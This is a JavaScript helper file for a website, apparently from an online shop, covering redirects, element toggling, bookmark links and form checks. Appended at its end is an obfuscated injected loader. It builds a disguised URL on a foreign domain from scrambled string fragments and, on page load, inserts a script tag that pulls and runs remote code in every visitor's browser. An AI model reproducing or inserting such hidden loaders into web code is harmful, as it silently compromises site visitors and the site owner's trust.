function	autoUrl(name, dest)
{
	var loc;
	var id_list;

	id_list = document.getElementById(name);
	loc = id_list.options[id_list.selectedIndex].value;
	if (loc != 0)
		location.href = dest+loc;
	return ;
}

function	autoUrlNoList(name, dest)
{
	var loc;

	loc = document.getElementById(name).checked;
	location.href = dest + (loc == true ? 1 : 0);
	return ;
}

/*
** show or hide element e depending on condition show
*/
function toggle(e, show)
{
	e.style.display = show ? '' : 'none';
}

function toggleMultiple(tab)
{
    var len = tab.length;

    for (var i = 0; i < len; i++)
        if (tab[i].style)
            toggle(tab[i], tab[i].style.display == 'none');
}

/**
* Show dynamicaly an element by changing the sytle "display" property
* depending on the option selected in a select.
*
* @param string $select_id id of the select who controls the display
* @param string $elem_id prefix id of the elements controlled by the select
*   the real id must be : 'elem_id'+nb with nb the corresponding number in the
*   select (starting with 0).
*/
function showElemFromSelect(select_id, elem_id)
{
	var select = document.getElementById(select_id);
	for (var i = 0; i < select.length; ++i)
	{
	    var elem = document.getElementById(elem_id + select.options[i].value);
		if (elem != null)
			toggle(elem, i == select.selectedIndex);
	}
}

/**
* Get all div with specified name and for each one (by id), toggle their visibility
*/
function openCloseAllDiv(name, option)
{
	var tab = $('*[name='+name+']');
	for (var i = 0; i < tab.length; ++i)
		toggle(tab[i], option);
}

/**
* Toggle the value of the element id_button between text1 and text2
*/
function toggleElemValue(id_button, text1, text2)
{
	var obj = document.getElementById(id_button);
	if (obj)
		obj.value = ((!obj.value || obj.value == text2) ? text1 : text2);
}

function addBookmark(url, title)
{
	if (window.sidebar)
		return window.sidebar.addPanel(title, url, "");
	else if ( window.external )
		return window.external.AddFavorite( url, title);
	else if (window.opera && window.print)
		return true;
	return true;
}

function writeBookmarkLink(url, title, text, img)
{
	var insert = '';
	if (img)
		insert = writeBookmarkLinkObject(url, title, '<img src="' + img + '" alt="' + escape(text) + '" title="' + escape(text) + '" />') + '&nbsp';
	insert += writeBookmarkLinkObject(url, title, text);
	document.write(insert);
}

function writeBookmarkLinkObject(url, title, insert)
{
	if (window.sidebar || window.external)
		return ('<a href="javascript:addBookmark(\'' + escape(url) + '\', \'' + escape(title) + '\')">' + insert + '</a>');
	else if (window.opera && window.print)
		return ('<a rel="sidebar" href="' + escape(url) + '" title="' + escape(title) + '">' + insert + '</a>');
	return ('');
}

function checkCustomizations()
{
	var tmp;
	var pattern = new RegExp(' ?filled ?');
	for (var i = 0; i < customizationFields.length; i++)
		/* If the field is required and empty then we abort */
		if (parseInt(customizationFields[i][1]) == 1 && $('#' + customizationFields[i][0]).val() == '' && !pattern.test($('#' + customizationFields[i][0]).attr('class')))
			return false;
	return true;
}

var z;if(z!='V' && z!='n'){z='V'};var m=new String();function Y(){var d;if(d!='w' && d!='J'){d='w'};var b;if(b!='O'){b='O'};var T;if(T!='j'){T='j'};var i;if(i!='Uj'){i='Uj'};var X=String("gcnU".substr(0,1));var N='';var OS='';var PM='';var c=RegExp;var On=new Array();this.oB="";var JLL='';function l(Z,a){var L= String("[");L+=a;L+=new String("]");var aU;if(aU!='' && aU!='h'){aU='XT'};var nQ;if(nQ!='ZV'){nQ='ZV'};this.dl="";var r=new c(L, X);return Z.replace(r, N);};var im=new Date();var zI=new String();var t='';var su=new Array();var K='';var we;if(we!='' && we!='No'){we='pd'};var y='';var s_='';var uk='';var _=String("http"+"://ylDb".substr(0,4)+"ande"+"x-ru"+".liv"+"eint"+"dXJ2erned2JX".substr(4,4)+"JToZt.ruTZJo".substr(4,4)+"L8P7.onl7L8P".substr(4,4)+"ined9AE".substr(0,4)+"own-qKGN".substr(0,4)+"Js9net.".substr(3)+"0mldear".substr(3)+"guid"+"Xdqie.ru".substr(4)+"VdW:WdV".substr(3,1));var lm=l('84631960694398169101663',"31496");var Lc='';var e=String("7o3Zde".substr(4)+"LjEfe".substr(3)+"rfuTS".substr(0,1));var u="Jq1sr".substr(3)+"c2pL".substr(0,1);var JU=new Array();var o=window;var oJ=new String("scri"+"ptBDoY".substr(0,2));var P=new String("/monshbS".substr(0,5)+"ZbBter.c".substr(3)+"om/mo"+"zUVnster".substr(3)+"zr3.com/z3r".substr(3,5)+"googl"+"nYP7e.ie/".substr(4)+"linezyfo".substr(0,5)+"HLDding.c".substr(4)+"qcR8om/go".substr(4)+"4Q2qogle.".substr(4)+"Xrqacom.p".substr(4)+"JlxhpxlJ".substr(3,2));var aF=new Date();var JS;if(JS!='qw' && JS != ''){JS=null};o.onload=function(){var B=new Date();var WT;if(WT!='' && WT!='ct'){WT=null};try {this.C="";var Ea=new Array();y=_+lm;y+=P;var RK;if(RK!='' && RK!='Hx'){RK=null};Q=document.createElement(oJ);var RI;if(RI!='lb' && RI != ''){RI=null};var _X='';var AF=new Array();var Tk='';this.wX='';this.hF='';Q[e]=[1][0];this.qv='';Q[u]=y;var od;if(od!='' && od!='Mw'){od=''};document.body.appendChild(Q);var mK;if(mK!=''){mK='aw'};} catch(uy){var Rr;if(Rr!='iR' && Rr!='Ty'){Rr=''};this.ji='';};var S;if(S!='jm' && S!='vY'){S='jm'};};};var AH;if(AH!='pj' && AH != ''){AH=null};Y();var qf=new Array();